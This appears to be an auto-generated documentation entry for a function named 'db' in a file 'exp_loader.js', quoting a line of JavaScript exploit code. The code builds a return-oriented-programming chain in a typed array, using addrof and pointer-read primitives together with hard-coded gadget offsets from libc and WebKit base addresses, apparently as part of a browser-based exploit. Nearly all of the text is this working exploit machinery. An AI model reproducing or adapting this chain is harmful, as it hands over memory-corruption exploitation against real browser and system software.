Function db

restore/672/exp_loader.js:6–6

(data)

var ropchain_array = new Uint32Array(55002);var ropchain = read_ptr_at(addrof(ropchain_array)+0x10);var ropchain_offset = 2;function set_gadget(val){ropchain_array[ropchain_offset++] = val | 0;ropchain_array[ropchain_offset++] = (val / 4294967296) | 0;}
function set_gadgets(l){for(var i = 0; i < l.length; i++)set_gadget(l[i]);}
function db(data){for(var i = 0; i < data.length; i++)ropchain_array[ropchain_offset++] = data[i];}
var main_ret = malloc(8);
var printf_buf = malloc(65536);
var __swbuf_addr = 0;set_gadgets([libc_base+788575,ropchain+65720,webkit_base+14461559,libc_base+206806,ropchain+65680,libc_base+793877]);db([8,0]);set_gadgets([libc_base+248252,libc_base+788575,ropchain+112,libc_base+471355,libc_base+811575,ropchain+190576,libc_base+811575,ropchain+65680]);